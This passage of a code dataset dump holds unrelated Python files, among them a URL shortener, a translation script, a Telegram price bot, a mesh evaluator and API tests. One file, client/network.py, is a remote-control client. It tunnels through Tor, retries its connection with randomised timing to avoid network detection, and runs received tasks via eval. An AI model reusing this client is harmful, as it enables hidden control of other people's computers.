db[short_url]\n\n\nwhile(True):\n\tprint('Enter URL')\n\tinpt = input()\n\tprint('Your short url is bit.ly/' + put(inpt))\n","sub_path":"urlShortener.py","file_name":"urlShortener.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"211434209","text":"# -*- coding: utf-8 -*-\nfrom nltk.corpus import wordnet\nfrom translation import bing\nimport nltk\n#nltk.download()\nimport pickle\nfrom googletrans import Translator\ntranslator = Translator()\n\ndicta={}\n\nN=0\npkl_file = open('wordlist.pkl', 'rb')\nmylis = pickle.load(pkl_file)\npkl_file.close()\n\n\nfl1 = open('EN2HIdict.pkl', 'wb')\npickle.dump(dicta, fl1)\nfl1.close()\n\nfor word in mylis:\n print(N)\n N+=1\n #line=lin.strip()\n print(word)\n synonyms = []\n antonyms = []\n s2=[]\n tran=[]\n for syn in wordnet.synsets(word):\n for l in syn.lemmas():\n synonyms.append(l.name())\n if l.antonyms():\n antonyms.append(l.antonyms()[0].name())\n s1=list(set(synonyms))\n\n###### To translate the words into hindi\n translations = translator.translate(s1, dest='hi')\n for translation in translations:\n t1=(translation.text)#.encode('utf-8')\n if(t1 not in s1):\n tran.append(t1)\n\n tran=list(set(tran))\n for i in tran:\n print(i)\n #dicta[word]=tran\n pkl_file1 = open('EN2HIdict.pkl', 'rb')\n mydict2 = pickle.load(pkl_file1)\n pkl_file1.close()\n mydict2[word]=tran\n output = open('EN2HIdict.pkl', 'wb')\n pickle.dump(mydict2, output)\n output.close()\n\n","sub_path":"Task_3_SenseDeviation/Eng2Hin/EN2HItranslation.py","file_name":"EN2HItranslation.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"157298241","text":"from tkinter import *\n\ndef clicked():\n res = \"Welcome, \" + txt.get()\n lbl.configure(text=res)\n\nwindow = Tk()\nwindow.title(\"Welcome\")\nwindow.geometry('350x350')\n\nlbl = Label(window, text=\"Hello\")\nlbl.grid(column=0, row=0)\n\ntxt = Entry(window, width=10)\ntxt.grid(column=1, row=0)\n\nbtn = Button(window, text=\"Click Me\", command=clicked)\nbtn.grid(column=2, row=0)\n\nwindow.mainloop()","sub_path":"Aula_13_04/button4.py","file_name":"button4.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"5643084","text":"from . import NickelParser\n\n\nclass Botaniczna2Parser(NickelParser):\n url = \"http://nickel.com.pl/pl/wyszukiwarka-mieszkan/id_loc[]/12/id_typ[]/1/id_typ[]/2/id_typ[]/3/id_typ[]/4/mmo_area[]/0/mmo_area[]/147/yt0/Szukaj/p/{page}\"\n\n\n def filter_records(self):\n records = [\n record for record in self.records\n if record[\"_address\"] == \"Botaniczna 2\"\n ]\n self.records = records\n\n\n","sub_path":"parsers/nickel/botaniczna2.py","file_name":"botaniczna2.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"126049599","text":"from flask import Flask #1\nfrom flask import request\nfrom flask_sslify import SSLify #5\nfrom flask import jsonify\nimport requests \nimport misc\nimport json\nimport re\n\n\napp = Flask(__name__) #2\nSSLify = SSLify(app) #6\n\n\n\n\ntoken = misc.token\nURL = 'https://api.telegram.org/bot' + token + '/'\n\n\n\ndef write_json(data, filename='answer.json'):\n\twith open(filename, 'w') as f:\n\t\tjson.dump(data, f , indent = 2, ensure_ascii = False)\n\n\ndef get_updates():\n\turl = URL + 'getUpdates'\n\tr = requests.get(url)\n\t#write_json(r.json())\n\treturn r.json()\n\ndef send_message(chat_id, text='Yes-yes'):\n\turl = URL + 'sendMessage'\n\tanswer = {'chat_id': chat_id, 'text':text}\n\tr = requests.post(url, json=answer)\n\treturn r.json()\n\n\ndef parse_text(text):\n\tpattern = r'/\\w+'\n\tcrypto = re.search(pattern, text).group()\n\treturn crypto[1:]\n\t#print(crypto)\n\ndef get_price(crypto):\n\turl = 'https://yobit.net/api/2/{}/ticker'.format(crypto)\n\tr = requests.get(url).json()\n\tprice = r['ticker']['last']\n\treturn price\n\t#write_json(r.json(), filename='price.json')\n\n\n\n\n\n\n\n\ndef main():\n\t#r = requests.get(URL + 'getMe')\n\t#print(r.json())\n\t#write_json(r.json())\n\t#r = get_updates()\n\t#chat_id = r['result'][-1]['message']['chat']['id']\n\t#send_message(chat_id)\n\tpass\n\n\n\n\n\n\n\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n\tif request.method == 'POST':\n\t\tr = request.get_json()\n\t\tchat_id = r['message']['chat']['id']\n\t\tmessage = r['message']['text']\n\t\t#write_json(r)\n\t\t#return jsonify(r)\n\t\tpattern = r'/\\w+'\n\t\tif re.search(pattern, message):\n\t\t\tprice = get_price(parse_text(message))\n\t\t\tsend_message(chat_id, text=price)\n\n\treturn '

Hello World

' \n\nif __name__ == '__main__': #3\n\t#app.run() #4\n\t#main()\n\tapp.run()","sub_path":"bot_webhook_1/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"154879400","text":"import requests\n# kv={'wd':'python'}\n# r = requests.get(\"http://www.baidu.com/s\",params = kv)\n# print(r.status_code)\n# print(r.request.url)\n# print(r.text[:1000])\nkeyword = 'python'\ntry:\n kv={'q':keyword}\n r=requests.get(\"http://www.so.com/s\",params=kv)\n print(r.request.url)\n r.raise_for_status()\n print(r.text[:500])\nexcept:\n print(\"爬取失败\")","sub_path":"search/爬虫/百度360关键词提交.py","file_name":"百度360关键词提交.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"226149903","text":"from contextlib import contextmanager\n\nimport settings\n\n@contextmanager\ndef sessionContext():\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n session = settings.Session()\n try:\n yield session\n session.commit()\n except:\n session.rollback()\n raise\n finally:\n session.close()","sub_path":"model/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"392628484","text":"import sys\nimport os\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\nROOT_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nimport numpy as np\nimport json\nimport torch\n\nfrom lib.options import BaseOptions\nfrom lib.train_util import *\nfrom lib.model import *\n\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\n# get options\nopt = BaseOptions().parse()\n\nclass Evaluator:\n def __init__(self, opt, projection_mode='orthogonal'):\n self.opt = opt\n self.load_size = self.opt.loadSize\n self.to_tensor = transforms.Compose([\n transforms.Resize(self.load_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n self.to_tensor_512 = transforms.Compose([\n transforms.Resize(512),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n # set cuda\n cuda = torch.device('cuda:%d' % opt.gpu_id) if torch.cuda.is_available() else torch.device('cpu')\n\n # create net\n if opt.anchor:\n netG = AnchorUdfNet(opt, projection_mode).to(device=cuda)\n else:\n netG = UdfNet(opt, projection_mode).to(device=cuda)\n\n netMR = AnchorUdfMRNet(opt, netG, projection_mode).to(device=cuda)\n\n print('Using Network: ', netG.name)\n print('Using Network_HD: ', netMR.name)\n\n if opt.load_netG_checkpoint_path:\n if opt.mgpu:\n state_dict = torch.load(opt.load_netG_checkpoint_path, map_location=cuda)\n # create new OrderedDict that does not contain `module.`\n from collections import OrderedDict\n new_state_dict = OrderedDict()\n for k, v in state_dict.items():\n name = k[7:] # remove `module.`\n new_state_dict[name] = v\n # load params\n netG.load_state_dict(new_state_dict)\n else:\n netG.load_state_dict(torch.load(opt.load_netG_checkpoint_path, map_location=cuda))\n \n if opt.load_netMR_checkpoint_path:\n netMR.load_state_dict(torch.load(opt.load_netMR_checkpoint_path, map_location=cuda))\n\n os.makedirs(opt.results_path, exist_ok=True)\n os.makedirs('%s/%s' % (opt.results_path, opt.name), exist_ok=True)\n\n opt_log = os.path.join(opt.results_path, 'opt.txt')\n with open(opt_log, 'w') as outfile:\n outfile.write(json.dumps(vars(opt), indent=2))\n\n self.cuda = cuda\n self.netMR = netMR\n\n def load_image(self, image_path, mask_path):\n # Name\n img_name = os.path.splitext(os.path.basename(image_path))[0]\n img_ids = image_path.split('/')[-2].split('_')\n # Calib\n B_MIN = np.array([-1, -1, -1])\n B_MAX = np.array([1, 1, 1])\n projection_matrix = np.identity(4)\n projection_matrix[1, 1] = -1\n calib = torch.Tensor(projection_matrix).float()\n\n mask = Image.open(mask_path).convert('L')\n image = Image.open(image_path).convert('RGB')\n \n # Mask512\n mask512 = transforms.Resize(512)(mask)\n mask512 = transforms.ToTensor()(mask512).float()\n # image512\n image512 = self.to_tensor_512(image)\n image512 = mask512.expand_as(image512) * image512\n # Mask\n # mask = Image.open(mask_path).convert('L')\n mask = transforms.Resize(self.load_size)(mask)\n mask = transforms.ToTensor()(mask).float()\n # image\n # image = Image.open(image_path).convert('RGB')\n image = self.to_tensor(image)\n image = mask.expand_as(image) * image\n return {\n 'name': img_ids[0]+'_'+img_ids[-1]+'_'+img_name,\n 'img': image.unsqueeze(0),\n 'img_low': image512.unsqueeze(0),\n 'calib': calib.unsqueeze(0),\n 'mask': mask.unsqueeze(0),\n 'b_min': B_MIN,\n 'b_max': B_MAX,\n }\n\n def eval_hd(self, data):\n opt = self.opt\n self.netMR.eval()\n save_path = '%s/%s/%s.obj' % (opt.results_path, opt.name, data['name'])\n gen_mesh_hd_udf(opt, self.netMR, self.cuda, data, save_path, opt.num_steps)\n\n\nif __name__ == '__main__':\n evaluator = Evaluator(opt)\n yaw_list = [0]\n\n for vid in yaw_list:\n image_path = os.path.join(opt.dataroot, 'RENDER_1024', opt.test_folder_path, '%d_%d_%02d.jpg' % (vid, 0, 0))\n mask_path = os.path.join(opt.dataroot, 'MASK_1024', opt.test_folder_path, '%d_%d_%02d.png' % (vid, 0, 0))\n print(image_path, mask_path)\n\n data = evaluator.load_image(image_path, mask_path)\n evaluator.eval_hd(data)\n","sub_path":"apps/eval_hd.py","file_name":"eval_hd.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"203057563","text":"import socks\nimport socket\nimport sys\nimport subprocess as sp\nimport os\nimport sys\nfrom time import sleep\nfrom random import randint\n\n\nclass Tor:\n \"\"\"\n A class to interact with the tor expert bundle.\n Note: The stem library could be used to interact with tor.\n \"\"\"\n PATH = '.\\\\torbundle\\\\Tor\\\\tor.exe'\n\n def __init__(self):\n self.start()\n socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 9050)\n socket.socket = socks.socksocket\n\n def start(self):\n try:\n path = self.resource_path(self.PATH)\n self.torProc = sp.Popen(path, shell=True, stdout=sp.PIPE, stderr=sp.PIPE)\n except subprocess.SubprocessError as error:\n print(str(error))\n sys.exit(1)\n\n # Source: https://stackoverflow.com/questions/7674790/bundling-data-files-with-pyinstaller-onefile\n def resource_path(self, relative_path):\n # Get absolute path to resource, works for dev and for PyInstaller\n # needed because the path of the tor expert bundle changes due to pyinstaller\n base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__)))\n return os.path.join(base_path, relative_path)\n\n\nclass ClientSocket:\n \"\"\"\n A class to handle the client socket.\n \"\"\"\n ENCODING = 'utf-8'\n # timout in seconds between every connection try\n CONNECTION_TIMEOUT = 30\n\n def __init__(self, remHost, remPort):\n self.remAddr = (remHost, remPort)\n self.__sock = self.createConnection()\n\n def createConnection(self):\n \"\"\"\n Recursivly try to connect to the listener until it works,\n then return socket object.\n \"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(self.remAddr)\n except socket.error as error:\n # randomize connection timeout to avoid network detection\n timeout = randint(self.CONNECTION_TIMEOUT - 10, self.CONNECTION_TIMEOUT + 10)\n sleep(timeout)\n self.createConnection()\n else:\n return sock\n\n def send(self, output):\n \"\"\"\n The client always sends back the output of the received task,\n and the current working directory.\n \"\"\"\n try:\n cwd = os.getcwd()\n data = {'output' : output, 'cwd' : cwd}\n self.__sock.send(str(data).encode(self.ENCODING))\n except socket.error:\n raise()\n\n def receive(self, numBytes):\n \"\"\"\n The client receives a dictionary containing a task,\n and a list of optional arguments, dependent on the task.\n \"\"\"\n try:\n data = self.__sock.recv(numBytes)\n data = data.decode(self.ENCODING)\n data = eval(data)\n except socket.error:\n raise()\n else:\n return data['task'], data['args']\n\n def __del__(self):\n try:\n self.__sock.close()\n except:\n pass","sub_path":"client/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"41270851","text":"# -*- coding=utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\n\nimport abc\nimport attr\nimport operator\nimport six\n\nfrom ..utils import ensure_path, KNOWN_EXTS, unnest\n\n\n@attr.s\nclass BasePath(object):\n def which(self, name):\n \"\"\"Search in this path for an executable.\n\n :param executable: The name of an executable to search for.\n :type executable: str\n :returns: :class:`~pythonfinder.models.PathEntry` instance.\n \"\"\"\n\n valid_names = [name] + [\n \"{0}.{1}\".format(name, ext).lower() if ext else \"{0}\".format(name).lower()\n for ext in KNOWN_EXTS\n ]\n children = self.children\n found = next(\n (\n children[(self.path / child).as_posix()]\n for child in valid_names\n if (self.path / child).as_posix() in children\n ),\n None,\n )\n return found\n\n def find_all_python_versions(\n self,\n major=None,\n minor=None,\n patch=None,\n pre=None,\n dev=None,\n arch=None,\n name=None,\n ):\n \"\"\"Search for a specific python version on the path. Return all copies\n\n :param major: Major python version to search for.\n :type major: int\n :param int minor: Minor python version to search for, defaults to None\n :param int patch: Patch python version to search for, defaults to None\n :param bool pre: Search for prereleases (default None) - prioritize releases if None\n :param bool dev: Search for devreleases (default None) - prioritize releases if None\n :param str arch: Architecture to include, e.g. '64bit', defaults to None\n :param str name: The name of a python version, e.g. ``anaconda3-5.3.0``\n :return: A list of :class:`~pythonfinder.models.PathEntry` instances matching the version requested.\n :rtype: List[:class:`~pythonfinder.models.PathEntry`]\n \"\"\"\n\n call_method = (\n \"find_all_python_versions\" if self.is_dir else \"find_python_version\"\n )\n sub_finder = operator.methodcaller(\n call_method,\n major=major,\n minor=minor,\n patch=patch,\n pre=pre,\n dev=dev,\n arch=arch,\n name=name,\n )\n if not self.is_dir:\n return sub_finder(self)\n path_filter = filter(None, (sub_finder(p) for p in self.children.values()))\n version_sort = operator.attrgetter(\"as_python.version_sort\")\n return [c for c in sorted(path_filter, key=version_sort, reverse=True)]\n\n def find_python_version(\n self,\n major=None,\n minor=None,\n patch=None,\n pre=None,\n dev=None,\n arch=None,\n name=None,\n ):\n \"\"\"Search or self for the specified Python version and return the first match.\n\n :param major: Major version number.\n :type major: int\n :param int minor: Minor python version to search for, defaults to None\n :param int patch: Patch python version to search for, defaults to None\n :param bool pre: Search for prereleases (default None) - prioritize releases if None\n :param bool dev: Search for devreleases (default None) - prioritize releases if None\n :param str arch: Architecture to include, e.g. '64bit', defaults to None\n :param str name: The name of a python version, e.g. ``anaconda3-5.3.0``\n :returns: A :class:`~pythonfinder.models.PathEntry` instance matching the version requested.\n \"\"\"\n\n version_matcher = operator.methodcaller(\n \"matches\",\n major=major,\n minor=minor,\n patch=patch,\n pre=pre,\n dev=dev,\n arch=arch,\n name=name,\n )\n is_py = operator.attrgetter(\"is_python\")\n py_version = operator.attrgetter(\"as_python\")\n if not self.is_dir:\n if self.is_python and self.as_python and version_matcher(self.py_version):\n return attr.evolve(self)\n return\n finder = (\n (child, child.as_python)\n for child in unnest(self.pythons.values())\n if child.as_python\n )\n py_filter = filter(\n None, filter(lambda child: version_matcher(child[1]), finder)\n )\n version_sort = operator.attrgetter(\"version_sort\")\n return next(\n (\n c[0]\n for c in sorted(\n py_filter, key=lambda child: child[1].version_sort, reverse=True\n )\n ),\n None,\n )\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass BaseFinder(object):\n def get_versions(self):\n \"\"\"Return the available versions from the finder\"\"\"\n raise NotImplementedError\n\n @classmethod\n def create(cls):\n raise NotImplementedError\n\n @property\n def version_paths(self):\n return self.versions.values()\n\n @property\n def expanded_paths(self):\n return (p.paths.values() for p in self.version_paths)\n","sub_path":"weatherenv/Lib/site-packages/pipenv/vendor/pythonfinder/models/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":5114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"512059702","text":"\"\"\" Lab2\n\nThis program calculates the value of the infinite sum, using\nvariables (argument, accuracy) entered by the user.\n\nThe following errors are handled:\n -incorrect argument (not in the domain, not a number)\n -incorrect accuracy (less than 0, not a number)\n -program interruption (Ctrl-C was pressed)\n\nThis program was developed by Maxym Koval (Group K-12)\n\"\"\"\n\nfrom math import fabs\n\na, b = -0.9, 0.9\n\n\ndef s(x: float, eps: float) -> float:\n \"\"\"Calculate the value of the function for x with accuracy eps\"\"\"\n k = 5\n a_k = x\n sum_series = a_k\n x_4 = x * x * x * x\n while fabs(a_k) >= eps:\n a_k *= x_4 * (k - 4) / k\n sum_series += a_k\n k += 4\n return sum_series\n\n\ndef info_author():\n about_author = f\"\\\n Author: Koval\\n\\\n Maxym\\n\\\n Group: K-12\\n\"\n print(about_author)\n\n\ndef main():\n print(\"Variant #71 \\nThis program calculate the value of a function using argument and accuracy, entered by the \"\n \"user\")\n info_author()\n\n try:\n x = float(input(f\"Input an argument value (should be from {a} to {b}): \"))\n eps = float(input(\"Input the accuracy of the calculation (should be positive): \"))\n except ValueError:\n print(\"\\n***** Error\\nYou have input an argument value or an accuracy value that can't be \"\n \"represented as a number. Please, restart program and try again.\")\n except KeyboardInterrupt:\n print(\"\\n***** Error\\nThe program was finished, because of pressing Ctrl-C.\")\n else:\n if not (a <= x <= b):\n print(\"\\n***** Error\\nYou have input an argument that isn't in domain of a function.\")\n elif eps <= 0:\n print(\"\\n***** Error\\nYou have input an accuracy that is less than 0 or equal to 0.\")\n else:\n print(\"\\n***** do calculations ... \", end=\"\")\n result = s(x, eps)\n print(\"done\")\n\n print(f\"for x = {x:.6f}\")\n print(f\"for eps = {eps:.4E}\")\n print(f\"result = {result:.8f}\")\n\n\nmain()\n","sub_path":"1_course/1_semester/labs/lab2/lab_2.py","file_name":"lab_2.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"22114993","text":"# На вход программе подается число n – количество собачьих лет. Напишите программу,\n# которая вычисляет возраст собаки в человеческих годах.\n\ndog_age = int(input())\nhuman_age = 0\n\nfor i in range(1, dog_age + 1):\n if i == 1 or i == 2:\n human_age += 10.5\n else:\n human_age += 4\n\nprint(human_age)","sub_path":"Типы данных/Числовые типы данных int, float/Programming (4)/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"260197624","text":"\n\n#############################################################\n#############################################################\n# OrganizaDescargas\n#############################################################\n# -> Autor\n#############################################################\n# Script by @VictorMVila [GitHub]\n#############################################################\n# -> Descripcion\n#############################################################\n# Script que organiza en carpetas de escritorio el contenido\n# del directorio Descargas según el formato de los ficheros.\n#############################################################\n# -> Soporte\n#############################################################\n# Windows\n#############################################################\n\nimport os\nimport shutil\nimport time\nimport sys\nimport getpass\n\ntry:\n from zipfile import ZipFile\nexcept ImportError: \n print(\"Error. ZipFile module is required\")\n time.sleep(1)\n print(\"Execute 'pip install zipfile' in cmd\")\n time.sleep(1)\n exit()\n\ntry:\n from rarfile import RarFile\nexcept ImportError:\n print(\"Error. RarFile module is required\")\n time.sleep(1)\n print(\"Execute 'pip install rarfile' in cmd\")\n time.sleep(1)\n exit()\n\n# Se cierran clientes P2P que puedan tener ficheros en uso del directorio a organizar.\nos.chdir(\"C:/Windows/system32\")\nif not os.system(\"taskkill /f /im qbittorrent.exe\") == 128:\n print(\"Cliente P2P QBittorrent cerrado\") \nif not os.system(\"taskkill /f /im utorrent.exe\") == 128:\n print(\"Cliente P2P Utorrent cerrado\")\n\n# Rutas\nnombreUsuario = getpass.getuser()\nrutaDescargas = \"C:/Users/\" + nombreUsuario + \"/Downloads\"\nnombreCarpetaVideos = \"Peliculas\"\npathCarpetaVideos = \"C:/Users/\" + nombreUsuario + \"/Desktop/\" + nombreCarpetaVideos\npathCarpetaDocumentos = \"C:/Users/\" + nombreUsuario + \"/Desktop/Documentos\"\n\n# Si no existen los directorios que guardarán los ficheros de Descargas, se crean\nif not os.path.isdir(pathCarpetaVideos):\n os.mkdir(pathCarpetaVideos) \nif not os.path.isdir(pathCarpetaDocumentos):\n os.mkdir(pathCarpetaDocumentos) \n\nprint(\"#########################\")\nprint(\"#######BIENVENIDO########\")\nprint(\"#########################\")\ntime.sleep(1)\nprint(\"\")\nprint(\"##VAMOS A EXAMINAR EL DIRECTORIO \" + rutaDescargas)\nprint(\"\")\n\n\n# Recorremos recursivamente los directorios de rutaDescargas utilizando os.walk\n# os.walk reproduce tres tuplas: \n\n# --> dirpath o rutas que se van encontrando,\n# --> dirnames o nombres de los directorios que se van encontrando,\n# --> y filenames o nombres de los ficheros que se van encontrando.\n\nfor dirpath, dirnames, filenames in os.walk(rutaDescargas):\n #Directorio actual\n os.chdir(dirpath)\n time.sleep(0.5)\n #Recorremos los ficheros del directorio\n for f in filenames:\n print(\"-> Fichero \" + f)\n #Splitext divide en nombre y extension un fichero\n nombre, extension = os.path.splitext(f)\n #Si la extension es MKV, AVI, MP4, MPG o MOV, se procede a mover \n if (extension==\".mkv\" or extension==\".avi\" or extension==\".mp4\" \n or extension==\".mpg\" or extension==\".mov\"):\n print(\"##########################################\")\n print(\"#############VIDEO DETECTADO##############\")\n print(\"##########################################\") \n time.sleep(1)\n #El modulo shutil permite realizar operaciones con ficheros.\n #Recibe el path str (ruta de origen del fichero) y el path dst (ruta de destino)\n try:\n shutil.move(os.path.abspath(f),pathCarpetaVideos)\n print(\"Se ha movido el fichero \" + f + \" a la carpeta Videos\")\n except shutil.Error:\n print(\"El archivo ya existe en el directorio de destino\")\n \n time.sleep(1)\n if (extension==\".pdf\" or extension==\".doc\" or extension==\".docx\" or extension==\".odt\" \n or extension==\".xls\" or extension==\".xlsx\" or extension==\"pptx\" or extension==\"ppt\"):\n print(\"##########################################\")\n print(\"###########DOCUMENTO DETECTADO############\")\n print(\"##########################################\") \n time.sleep(1)\n shutil.move(os.path.abspath(f),pathCarpetaDocumentos)\n print(\"Se ha movido el fichero \" + f + \" a la carpeta Documentos\")\n time.sleep(1)\n if extension==\".zip\" or extension==\".rar\":\n print(\"##########################################\")\n print(\"#######FICHERO COMPRIMIDO DETECTADO#######\")\n print(\"##########################################\")\n time.sleep(1)\n print(\"Contenido:\")\n time.sleep(1)\n if extension==\".rar\":\n try:\n os.rename(f,nombre+\".zip\")\n except FileExistsError:\n print(\"Se intenta renombrar un archivo cuyo nombre corresponde al de otro ya existente\")\n \n with ZipFile(f,'r') as zip:\n zip.printdir()\n time.sleep(1)\n print(\"Extrayendo archivos\")\n zip.extractall(nombre)\n time.sleep(1)\n print(\"Extracción completada\")\n \n time.sleep(1)\n \nprint(\"\")\ntime.sleep(0.5)\nprint(\"Examen de directorio finalizado\")\nprint(\"\")\ntime.sleep(0.5)\nprint(\"¿Desea vaciar el contenido de la carpeta \" + rutaDescargas + \"? [Y/N]\",end=\"\")\norden = input()\n\nend = False\nwhile not end:\n if orden==\"Y\" or orden==\"y\":\n print(\"Se procede al borrado de la carpeta \" + rutaDescargas)\n time.sleep(1)\n ignore_errors = (sys.platform==\"win32\")\n #Shutil también permite borrar todo el árbol de directorios que surge de uno,\n #así como sus ficheros\n shutil.rmtree(rutaDescargas, ignore_errors = ignore_errors)\n time.sleep(1)\n print(\"Borrado completo\")\n time.sleep(1)\n end=True\n elif orden==\"N\" or orden==\"n\":\n print(\"No se borrará el contenido de la carpeta \" + rutaDescargas)\n time.sleep(1)\n print(\"Programa finalizado\")\n time.sleep(1)\n end=True\n else: \n print(\"Orden inválida. Introduzca de nuevo [Y/N]: \", end=\"\")\n orden=input()\n \n","sub_path":"OrganizaDescargas.py","file_name":"OrganizaDescargas.py","file_ext":"py","file_size_in_byte":6353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"157841356","text":"import unittest\nimport datetime\nfrom pprint import pprint\nfrom assets.api_vendo.api_auth import AutoryzacjaZaloguj\nfrom assets.api_vendo.api_dokumenty_dokumenty_lista import DokumentyDokumentyLista\nfrom assets.api_vendo.api_dokumenty_zafakturuj_wz import ZafakturujWZ\nfrom assets.dokument_wz import DokumentWZ\nfrom assets.helper_functions import (today,\n ostatni_dzien_miesiaca,\n hour_threshold,\n mozna_fakturowac_otwarte_wz)\n\n\nclass DokumentWZTest(unittest.TestCase):\n\n def setUp(self):\n self.auth_config = {\n 'api_url': 'http://localhost:82',\n 'api_user': 'esklep',\n 'api_user_pswd': 'e12345',\n 'v_user': 'stronawww',\n 'v_user_pswd': 's12345'}\n\n api_auth = AutoryzacjaZaloguj(**self.auth_config)\n api_auth.login_to_api()\n self.user_token = api_auth.user_token\n\n self.dok_lista = DokumentyDokumentyLista(self.user_token,\n self.auth_config['api_url'])\n self.dok_lista.rodzaj_kod = 'WZ'\n self.dok_lista.rok = 18\n self.dok_lista.sortowanie = 'ID'\n self.dok_lista.sortowanie_rosnaco = False\n self.dok_lista.strona_index = 0\n self.dok_lista.strona_liczba_rekordow = 10\n\n\n def test_czy_prawidlowa_data_today(self):\n \"\"\"\n Poprawność zwracanego formatu daty.\n \"\"\"\n self.assertEqual(\n datetime.date.today().strftime('%Y-%m-%d'),\n today()\n )\n\n def test_hour_threshold_24_hour_clock(self):\n hours = [25,-1]\n for hour in hours:\n with self.assertRaises(AttributeError):\n hour_threshold(datetime.time(12, 00), hour)\n\n\n def test_hour_threshold_arguments_types(self):\n with self.assertRaises(TypeError):\n hour_threshold('', 12)\n\n with self.assertRaises(TypeError):\n hour_threshold(datetime.time(12, 00), '')\n\n \n def test_hour_threshold_return_true_when_above_threshold(self):\n time = datetime.time(14, 30)\n self.assertTrue(hour_threshold(time, 12))\n\n\n def test_mozna_fakturowac_otwarte_wz(self):\n odm = datetime.date(2018, 6, 30)\n ht = datetime.datetime.now().hour - 1\n\n # Ostatni dzień miesiąca oraz hour_threshold ustawione na godzinę\n # przed aktualną godziną\n # test powienien zwrócić True\n self.assertTrue(mozna_fakturowac_otwarte_wz(odm, ht))\n\n # hour_threshold ustawiony na godzinę po aktualnej godzinie\n # test powinien zwrócić False\n self.assertFalse(mozna_fakturowac_otwarte_wz(odm, ht + 2))\n\n @unittest.skip('Wymaga przygotowania bazy vendo.') \n def test_czy_dokument_jest_zamkniety(self):\n \"\"\"\n Na bazie testowej utworzony jest dokumentu WZ\n - zamkniety\n - nie zafakturowany\n Numer WZ: 13551/A/18/WZ\n Data utworzenia: 25.06.2018\n\n Czy dokument jest zamknięty.\n \"\"\"\n self.dok_lista.dokument_id = 847268 # WZ zamknięte w vendo (baza testowa)\n\n response = self.dok_lista.send_request().json()\n dok_wz = DokumentWZ(response['Wynik']['Rekordy'][0])\n self.assertTrue(dok_wz.zamkniety, response) \n\n @unittest.skip('Wymaga przygotowania dokumentów w vendo')\n def test_pobieranie_tylko_zamknietych_lub_otwartych_dokumentow(self):\n \"\"\"\n Test sprawdza czy jak zapytanie dotyczy wyłącznie zamknietych\n dokumentów to czy na liście pojawią się otwarte dokumenty.\n\n WZ otwarte:\n - 13557/A/18/WZ | 847289\n - 13558/A/18/WZ | 847290\n WZ zamkniete:\n - 13559/A/18/WZ | 847291\n - 13560/A/18/WZ | 847292\n - 13561/A/18/WZ | 847293\n - 13562/A/18/WZ | 847295\n \"\"\"\n \n zamkniete = [847291, 847292, 847293, 847295]\n otwarte = [847289, 847290]\n self.dok_lista.dokumenty_lista_id = zamkniete + otwarte\n\n self.dok_lista.zamkniety = True\n response = self.dok_lista.send_request().json()\n for d in response['Wynik']['Rekordy']:\n dok = DokumentWZ(d)\n self.assertTrue(dok.zamkniety)\n # ilość dokumentów w zapytaniu równa ilości zamkniętych dokumentów\n self.assertEqual(len(zamkniete), len(response['Wynik']['Rekordy']))\n\n self.dok_lista.zamkniety = False\n response = self.dok_lista.send_request().json()\n for d in response['Wynik']['Rekordy']:\n dok = DokumentWZ(d)\n self.assertFalse(dok.zamkniety)\n # ilość dokumentów w zapytaniu równa ilości otwartych dokumentów\n self.assertEqual(len(otwarte), len(response['Wynik']['Rekordy']))\n\n @unittest.skip('Wymaga przygotowania dokumentó w vendo.') \n def test_fakturowanie_zafakturowanego_dokumentu_wz(self):\n \"\"\"\n Na bazie testowej utworzony jest dokument WZ\n - zamkniety\n - zafakturowany\n Numer WZ: 13555/A/18/WZ\n Data utworzenia: 25.06.2018\n\n Wystawienie FV do zafakturowanego dokumentu.\n\n Jeżeli WZ ma FV to nie można dokumentu ponownie zafakturować.\n \"\"\"\n self.dok_lista.dokument_id = 847274 # WZ zamknięte i zafakturowane\n\n # próba ponownego fakturowania WZ\n zwz = ZafakturujWZ(self.user_token, 